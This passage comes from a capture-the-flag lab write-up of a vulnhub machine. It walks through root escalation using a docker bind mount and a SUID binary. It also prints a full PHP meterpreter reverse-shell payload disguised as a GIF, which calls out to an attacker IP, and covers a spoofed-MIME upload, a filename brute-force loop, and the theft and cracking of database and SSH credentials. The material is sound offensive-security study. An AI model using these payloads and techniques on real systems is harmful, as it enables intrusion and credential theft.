hummingbirdscyber@vulnvm:~$ docker run -v $(pwd)/persist:/persist --name persist -d ubuntu:latest sleep 600 
d407a4a053b1513742ea6908887c1f8c97f5667f82a2afcce28ecb01c6b3fd4c
hummingbirdscyber@vulnvm:~$ docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                  NAMES
d407a4a053b1        ubuntu:latest       "sleep 600"              1 second ago        Up 1 second                                persist
252fa8cb1646        ubuntu              "/bin/bash"              8 weeks ago         Up 13 hours                                brave_edison
1afdd1f6b82c        wordpress:latest    "docker-entrypoint.s…"   8 weeks ago         Up 13 hours         0.0.0.0:8000->80/tcp   experimental_wordpress_1
81a93420fd22        mysql:5.7           "docker-entrypoint.s…"   8 weeks ago         Up 13 hours         3306/tcp, 33060/tcp    experimental_db_1

Then we copy the exploit to the dir we used for our bind mount, and docker exec to get into the container and access the bind mount as root, and chown/chmod appropriately. This change persists to the host, so next we simply exit the container and execute the malicious SUID binary as our unprivileged user and become root.

hummingbirdscyber@vulnvm:~$ docker exec -it persist /bin/bash
root@d407a4a053b1:/# cd /persist/
root@d407a4a053b1:/persist# ls -l 
total 12
-rwxrwxr-x 1 1000 adm 8656 Apr 23 07:57 exploit
root@d407a4a053b1:/persist# chown root:root exploit 
root@d407a4a053b1:/persist# chmod 4777 exploit 
root@d407a4a053b1:/persist# ls -l 
total 12


-rwsrwxrwx 1 root root 8656 Apr 23 07:57 exploit
root@d407a4a053b1:/persist# exit

From our unprivileged shell:

hummingbirdscyber@vulnvm:~$ cd persist/
hummingbirdscyber@vulnvm:~/persist$ ./exploit 
root@vulnvm:~/persist# id
uid=0(root) gid=4(adm) groups=4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker),1000(hummingbirdscyber)
root@vulnvm:~/persist# 

I grabbed /etc/shadow and poked around a bit, but I didn't find anything new or exciting, so let's grab the flag.

root@vulnvm:~# cd /root/
root@vulnvm:/root# ls
flag
root@vulnvm:/root# cat flag 
Congratulations!                    



                                    


                              -ys-                                                               
                                /mms.                                                            
                                  +NMd+`                                                         
                               `/so/hMMNy-                                     
                                 `+mMMMMMMd/           ./oso/-                           
                                  `/yNMMMMMMMMNo`   .`   +-                   
                                  .oyhMMMMMMMMMMN/.     o.                  
                                    `:+osysyhddhs`    `o`                  
                                     .:oyyhshMMMh.   .:                      
                                  `-//:. `:sshdh: `                         
                                             -so:.                           
                                            .yy.                              
                                          :odh                            
                                        +o--d`                 
                                      /+. .d`                           
                                    -/`  `y`                                  
                                  `:`   `/                                    
                                 `.     `                    
root@vulnvm:/root# 

Denouement

(French for "untying of the knot"): resolution; conclusion or outcome of story.

We almost certainly didn't follow the intended path for this vulnhub machine. We still reached the goal. There's a valuable lesson there. Part of what makes this kind of thing fun is that there are many ways to solve the puzzle. In a formal pentest, we would have wanted to fully explore all avenues, or at least report them, but that's not the point of the gathering of friends I do this with. The point is for us to learn things and hone our (admittedly newbie) pentesting/offsec skills and enjoy hanging out. That mission was definitely achieved, because we all enjoyed the challenge and learned things in the process.


Bonus PHP Upload Update

After publishing this post, I decided that I was not happy with the way I left the PHP weakness. I knew there was something there and I spent some time trying to understand what I missed.

Nikto and Curl

I ran nikto and found this clue to help me:

Very early in the output I saw this gem we can use for php hax:


+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

I dug around a lot and ended up revisiting some HTTP fundamentals, and also learning a few things about the GIF format.

Make and Disguise a Payload

Let's make a payload with msfvenom for a reverse_tcp meterpreter shell:

root@kali:~/hackinos# msfvenom -p php/meterpreter/reverse_tcp  LHOST=192.168.167.130 LPORT=4444 -o revtcp.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1116 bytes
Saved as: revtcp.php
root@kali:~/hackinos# 

Then you prepend the gif filetype header "GIF89a;" to the payload make it pass the php image check:

root@kali:~/hackinos# cat gifrevtcp.php
GIF89a;
/*<?php /**/ error_reporting(0); $ip = '192.168.167.130'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

Next, we submit the payload with curl; it's also possible to do this via the browser, which I discovered only after working out the proper curl command:

root@kali:~/hackinos# curl -H"Content-Type: multipart/form-data" -F "file=@gifrev.php;type=image/gif" -F"submit=Submit"  http://target:8000/upload.php -iv --show-error --fail 2>&1 | grep -i upload
                                 Dload  Upload   Total   Spent    Left  Speed
> POST /upload.php HTTP/1.1
File uploaded /uploads/?

Set Up a Handler

Setting LHOST/LPORT is pretty obvious, but it is also absolutely crucial to set the payload to match what we generated with msfvenom:msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp

Then set options as normal:

setting LHOST/LPORT is pretty obvious, but it is also absolutely crucial to set the payload to match what we generated with msfvenom:

msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp

Then set options as normal:

msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.167.130  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > run

run/exploit here starts the handler listening

Brute Force the Filename

root@kali:~/hackinos# cat fname.php 
for ($n = 1; $n <= 100 ; $n++ ) {
        $target_file = "uploads/". md5(basename("gifrev.php" . $n));
        echo "$target_file" . ".php" . "\n";
}

So doing this will give us a list of 100 relative URLs:

php -r $(cat fname.php)

and doing this will curl all of them; when we hit the one that was generated with rand(1,100), the curl will succeed, and execute our php reverse shell payload

for u in $(php -r "$(cat fname.php)" ) ; do curl target:8000/${u} ; done

Getting a Meterpreter Session

msf5 exploit(multi/handler) > run                                                            
[*] Started reverse TCP handler on 192.168.167.130:4444                                                                                                                                 
[*] Sending stage (38247 bytes) to 192.168.167.132                                                                                                                                      
[*] Meterpreter session 10 opened (192.168.167.130:4444 -> 192.168.167.132:51206) at 2019-04-28 13:38:48 -0400                                                                                                                                                                                                                                                   
meterpreter > getuid                                                                                                                                                                    
Server username: www-data (33)                                                                                                                                                          
                                                                                                                                                                                                                                                                                                                                                           
meterpreter > bg                                                                                                                                                                        
[*] Backgrounding session 10... 
msf5 exploit(multi/handler) > 
msf5 exploit(multi/handler) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                                                 Connection
  --  ----  ----                   -----------                                                 ----------
  2         meterpreter x86/linux  uid=1000, gid=1000, euid=1000, egid=1000 @ 192.168.167.132  192.168.167.130:4444 -> 192.168.167.132:54790 (192.168.167.132)
  9         meterpreter php/linux  www-data (33) @ 1afdd1f6b82c                                192.168.167.130:4444 -> 192.168.167.132:50294 (192.168.167.132)
  10        meterpreter php/linux  www-data (33) @ 1afdd1f6b82c                                192.168.167.130:4444 -> 192.168.167.132:51206 (192.168.167.132)

msf5 exploit(multi/handler) > sessions -i 10 
[*] Starting interaction with 10...

meterpreter > shell -t
[*] env TERM=xterm HISTFILE= /usr/bin/script -qc /bin/bash /dev/null
Process 14438 created.
Channel 0 created.
www-data@1afdd1f6b82c:/var/www/html/uploads$ pwd
pwd
/var/www/html/uploads
www-data@1afdd1f6b82c:/var/www/html/uploads$ whoami
whoami
www-data
www-data@1afdd1f6b82c:/var/www/html/uploads$ ls
ls
4b5fbe1f45d5e4762a39b3ab3b78be5f.gif  ae0f225a850ed2fa0dc0156a04f58561.gif
58e09caa30987a8bcff859ef289fddf9.gif
www-data@1afdd1f6b82c:/var/www/html/uploads$ 

Here, you can see where I was uploading actual gif files to figure this stuff out before trying with a shell. Although not explicitly shown here, there is a job that wipes all *.php files from the uploads directory every 300 seconds, so you have to get your payload in and execute it fairly quickly, since your payload might land within a few seconds before the delete job executes.

Lateral Movement

From here, you can get the db creds out of wp-config.php. Once connected, you can also get host credentials.

www-data@1afdd1f6b82c:/var/www/html$ mysql -u wordpress -p -h db wordpress
mysql -u wordpress -p -h db wordpress
Enter password: wordpress

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 444
Server version: 5.7.25 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [wordpress]> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| host_ssh_cred         |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
13 rows in set (0.00 sec)


MySQL [wordpress]> select * from host_ssh_cred;
select * from host_ssh_cred;
+-------------------+----------------------------------+
| id                | pw                               |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.00 sec)

MySQL [wordpress]> 

Cracking this with john the ripper is trivial:

root@kali:~/hackinos# cat mysql.txt 
hummingbirdscyber:e10adc3949ba59abbe56e057f20f883e
root@kali:~/hackinos# john --format=Raw-MD5  mysql.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
No password hashes left to crack (see FAQ)
root@kali:~/hackinos# john --show --format=Raw-MD5  mysql.txt
hummingbirdscyber:123456

1 password hash cracked, 0 left
root@kali:~/hackinos# 

We can use this to SSH to the host and then escalate privileges via docker to gain root, as in the original post.

Social Links